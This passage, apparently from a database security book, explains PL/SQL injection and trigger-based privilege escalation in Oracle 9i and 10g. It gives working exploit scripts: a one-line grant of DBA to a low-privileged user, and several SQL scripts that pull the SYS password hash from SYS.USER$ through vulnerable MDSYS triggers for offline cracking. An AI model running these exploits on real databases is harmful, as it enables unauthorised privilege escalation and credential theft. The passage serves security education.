Real-World Examples

In Oracle 9i the VALIDATE_STMT procedure of the DRILOAD package owned by CTXSYS uses DBMS_SQL to parse and execute a query. PUBLIC has the execute permission on this package. It takes, as its only parameter, a SQL query, which is then plugged straight into DBMS_SQL.PARSE and then executed. Because CTXSYS is a DBA in Oracle9i all an attacker need do to become a DBA is to execute

 EXEC CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO SCOTT'); 

Although the " ORA-01003: no statement parsed" error is returned, the grant has succeeded and SCOTT is now a DBA.

PL/SQL Injection and Database Triggers

In Oracle triggers are written in PL/SQL and execute with the privileges of the definer; as such they can be used to elevate privileges if they've been coded badly . Let's look at some real-world examples of these.

The SDO_CMT_CBK_TRIG trigger is owned by MDSYS and fires when a DELETE is performed on the SDO_TXN_IDX_INSERTS table, which is also owned by MDSYS. PUBLIC has the SELECT, INSERT, UPDATE, and DELETE object privileges on this table. Consequently, anyone can cause the SDO_CMT_CBK_TRIG trigger to fire by deleting a row from the table. If we examine the text of the trigger we can see that, before the DELETE actually occurs, a list of functions is selected from the SDO_CMT_DBK_FN_TABLE and SDO_CMT_CBK_DML_TABLE tables and these functions are then executed. PUBLIC has no object privileges set for either of these tables so they cannot insert their own function name. However, the PRVT_CMT_CBK package owned by MDSYS has two procedures, CCBKAPPLROWTRIG and EXEC_CBK_FN_DML, that take as their parameters a schema and function name , which are then inserted into the SDO_CMT_DBK_FN_TABLE and SDO_CMT_CBK_DML_TABLE tables. PUBLIC has the EXECUTE permission on the PRVT_CMT_CBK package and, as it has not been defined with the AUTHID CURRENT_USER keyword, the package executes using the rights of MDSYS , the definer, and not the invoker. As a result of this anyone can indirectly insert function names into the SDO_CMT_DBK_FN_TABLE and SDO_CMT_CBK_DML_TABLE tables. Thus when a DELETE occurs on SDO_TXN_IDX_INSERTS, anyone can influence what actions the SDO_CMT_CBK_TRIG trigger takesin other words, anyone can get the trigger to execute an arbitrary function. What is more, this function, as it is being executed from the trigger will run with the privileges of MDSYS and an attacker can exploit this to gain elevated privileges.

This sample script, to be run by a low-privileged user such as SCOTT, will get back the password hash for the SYS account. It does this by first creating a table called USERS_AND_PASSWORDS. This table is where the password hash for the SYS account will end up. The function, GET_USERS_AND_PWDS, is then created. This is where the attacker would place his SQL exploit code. In this case, the function takes advantage of the fact that MDSYS has the SELECT ANY TABLE privilege to SELECT the password hash for SYS from the USER $ table.

With the table and function created, PUBLIC is then granted access to them. This is so that MDSYS will be able to access them. After this the MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG and MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML procedures are executed, inserting the SCHEMA SCOTT and function GET_USERS_AND_PWDS into the SDO_CMT_DBK_FN_TABLE and SDO_CMT_CBK_DML_TABLE tables. With everything in place a row is then inserted into the SDO_TXN_IDX_INSERTS and then deleted. When the delete occurs the trigger is fired , which retrieves the SCOTT.GET_USERS_AND_PWDS function and then executes it. When the function executes, the password hash for SYS is selected from SYS.USER$ and then inserted into SCOTT's USERS_AND_PASSWORDS table. Finally, SCOTT selects the hash from the table and then feeds it into his Oracle password cracker.

 CREATE TABLE USERS_AND_PASSWORDS (USERNAME VARCHAR2(200), PASSWORD VARCHAR2(200)); / GRANT SELECT ON USERS_AND_PASSWORDS TO PUBLIC; GRANT INSERT ON USERS_AND_PASSWORDS TO PUBLIC; CREATE OR REPLACE FUNCTION GET_USERS_AND_PWDS(DUMMY1 VARCHAR2, DUMMY2  VARCHAR2) RETURN NUMBER AUTHID CURRENT_USER IS BEGIN       EXECUTE IMMEDIATE 'INSERT INTO SCOTT.USERS_AND_PASSWORDS  (USERNAME,PASSWORD) VALUES ((SELECT NAME FROM SYS.USER$ WHERE NAME =  ''SYS''),(SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS''))';       RETURN 1; END; / GRANT EXECUTE ON GET_USERS_AND_PWDS TO PUBLIC; EXEC MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG('SCOTT','GET_USERS_AND_PWDS'); EXEC MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML(0,'AAA','BBB','SCOTT','GET_USERS_AND_PWDS'); INSERT INTO MDSYS.SDO_TXN_IDX_INSERTS (SDO_TXN_IDX_ID,RID) VALUES('FIRE','FIRE'); DELETE FROM MDSYS.SDO_TXN_IDX_INSERTS WHERE SDO_TXN_IDX_ID = 'FIRE'; SELECT * FROM USERS_AND_PASSWORDS; 

The MDSYS.SDO_GEOM_TRIG_INS1 is vulnerable to SQL injection on both 9i and 10g. The trigger executes the following

 .. .. EXECUTE IMMEDIATE 'SELECT user FROM dual' into tname; stmt :=  'SELECT count(*) FROM SDO_GEOM_METADATA_TABLE '  'WHERE sdo_owner = '''  tname  '''  '  '  AND sdo_table_name = '''  :n.table_name  ''' ' '  AND  sdo_column_name = '''  :n.column_name  '''  '; .. .. 

when an INSERT is performed on MDSYS.USER_SDO_GEOM_METADATA. The :new.table_name and :new.column_name can be influenced by the user and SQL injected. PUBLIC has the permissions to INSERT into this table. As such the trigger can be abused to select from any table MDSYS can select from. For example, a low-privileged user can select the password hash for SYS from the USER$ table:

 set serveroutput on create or replace function y return varchar2 authid current_user is buffer varchar2(30); stmt varchar2(200):='select password from sys.user$ where name =''SYS'''; begin execute immediate stmt into buffer; dbms_output.put_line('SYS passord is: ' buffer); return 'foo'; end; / grant execute on y to public; insert into mdsys.user_sdo_geom_metadata (table_name,column_name) values  ('X'' AND SDO_COLUMN_NAME=scott.y--','test'); 

The MDSYS.SDO_LRS_TRIG_INS trigger fires when an INSERT occurs on the MDSYS.USER_SDO_LRS_METADATA view. PUBLIC can insert into this view and so cause the trigger to fire. This trigger is vulnerable to SQL injection. Both Oracle 9i and 10g are affected. It executes

 .. .. stmt :=  'SELECT count(*) FROM SDO_LRS_METADATA_TABLE '  ' WHERE sdo_owner = '''    UPPER(user_name)  '''  '  '  AND  sdo_table_name = '''   UPPER(:n.table_name)  ''' '  '  AND  sdo_column_name = '''  UPPER(:n.column_name)  ''' '; EXECUTE IMMEDIATE stmt INTO vcount; .. .. 

and :new.table_name and :new.column_name are user supplied in the INSERT statement. This is where an attacker can insert SQL:

 set serveroutput on create or replace function y return varchar2 authid current_user is buffer varchar2(30); stmt varchar2(200):='select password from sys.user$ where name =''SYS'''; begin execute immediate stmt into buffer; dbms_output.put_line('SYS passord is: ' buffer); return 'foo'; end; / grant execute on y to public; insert into mdsys.user_sdo_lrs_metadata  (table_name,column_name,dim_pos,dim_unit) values ('W'' AND  SDO_COLUMN_NAME=SCOTT.Y--','BBB',3,'AAA'); If DIM_POS is not set to 3 or 4 an error will be generated:  ERROR at line 1: ORA-02290: check constraint (MDSYS.SYS_C002760) violated ORA-06512: at "MDSYS.SDO_LRS_TRIG_INS", line 18 ORA-04088: error during execution of trigger 'MDSYS.SDO_LRS_TRIG_INS' 

This is because the USER_SDO_LRS_METADATA view references the table MDSYS.SDO_LRS_METADATA_TABLE. This table has a constraint that requires that SDO_DIM_POS = 3 or 4.